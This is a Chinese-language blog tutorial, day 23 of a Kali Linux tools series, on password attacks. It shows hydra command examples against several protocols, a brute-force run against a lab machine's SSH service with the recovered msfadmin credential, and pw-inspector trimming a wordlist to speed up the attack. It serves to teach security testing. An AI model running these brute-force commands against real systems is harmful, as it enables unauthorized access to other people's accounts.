iT邦幫忙

2021 iThome 鐵人賽

DAY 23
0
Security

Kali Linux 工具筆記系列 第 23

Day 23 Password Attacks - 密碼攻擊 (hydra, pw-inspector)

工具介紹

今天要體驗的工具是hydra,有別於先前體驗過的其他工具,雖然也是透過字典檔的形式,但它支援多種不同協定,可以用來破解sshtelnetftp等等,使用範例如下

Examples:
  hydra -l user -P passlist.txt ftp://192.168.0.1
  hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
  hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
  hydra -l admin -p password ftp://[192.168.0.0/24]/
  hydra -L logins.txt -P pws.txt -M targets.txt ssh                                              

範例裡用到的相關參數如下

  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to attack, one entry per line, ':' to specify port
  -4 / -6   use IPv4 (default) / IPv6 addresses (put always in [] also in -M)

這邊實際來對靶機測試看看,通常是用-L給定Login name的列表,然後搭配密碼字典檔來使用,但因為這邊單純想測試是否真的能比對到,所以直接指定Login name為靶機的msfadmin這個使用者,另外也故意把密碼msfadmin加到password.lst最末端,總計88398個密碼,最後用-t對靶機一次建立6個連線,來測試hydra能不能找到這組帳密來登入ssh服務

hydra -l msfadmin -P /usr/share/wordlists/metasploit/password.lst -t 6 ssh://192.168.1.86

暴力破解總是需要漫長時間等待,但這跑超久還是沒等到,所以這邊只顯示過程

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-10-08 10:48:41
[DATA] max 6 tasks per 1 server, overall 6 tasks, 88398 login tries (l:1/p:88398), ~14733 tries per task
[DATA] attacking ssh://192.168.1.86:22/
[STATUS] 78.00 tries/min, 78 tries in 00:01h, 88320 to do in 18:53h, 6 active
[STATUS] 54.00 tries/min, 162 tries in 00:03h, 88236 to do in 27:15h, 6 active
[STATUS] 52.29 tries/min, 366 tries in 00:07h, 88032 to do in 28:04h, 6 active
[STATUS] 50.80 tries/min, 762 tries in 00:15h, 87636 to do in 28:46h, 6 active
[STATUS] 49.87 tries/min, 1546 tries in 00:31h, 86852 to do in 29:02h, 6 active
[STATUS] 49.19 tries/min, 2312 tries in 00:47h, 86086 to do in 29:11h, 6 active

這邊另外附上如果把msfadmin放到密碼表前段,被hydra試到的狀況

[DATA] max 6 tasks per 1 server, overall 6 tasks, 88398 login tries (l:1/p:88398), ~14733 tries per task
[DATA] attacking ssh://192.168.1.86:22/
[22][ssh] host: 192.168.1.86   login: msfadmin   password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-10-08 10:48:20

即使在Login name明確的情況下,由於密碼字典的數量較多,導致等待時間非常久。如果曾經打開密碼檔看過,可能會發現它裡面有些測項有時候根本不符合大部分系統或服務的一些限制,例如長度、英數組合之類的,即使沒有限制,我們也可能還是會訂立策略來減少測試項目。這個時候就很適合另一個工具pw-inspector出場了

# 節錄自 /usr/share/wordlists/metasploit/password.lst
0
000000
00000000
0007
007
007007
0s
0th
1
10
100

pw-inspector是用來檢查密碼是否符合限制,所以可以透過它加限制將符合條件的密碼過濾出來,實際用法會像這樣,列出長度6到8,且含有小寫英文 + 數字的組合,透過這種方式去精簡化字典,產出合乎自己策略的新字典,從而減少hydra的工作量

pw-inspector -i /usr/share/wordlists/metasploit/password.lst -m 6 -M 8 -n -l -o /tmp/my.lst

另外還有其他相關工具,像是dpl4hydradefault password for hydra,用來產生給hydra使用的預設密碼字典表,還有hydra-wizard透過交互式命令來達到跟hydra一樣的功能。另外還有圖形介面版的hydra-gtk,但這要另外裝,但沒有什麼特別吸引人的地方,所以沒打算試它。

以上,咱明天見。


上一篇
Day 22 Password Attacks - 密碼攻擊(hashcat)
下一篇
Day 24 Password Attacks - 密碼生成器 (Wordlists, CeWL, Crunch)
系列文
Kali Linux 工具筆記31

尚未有邦友留言

立即登入留言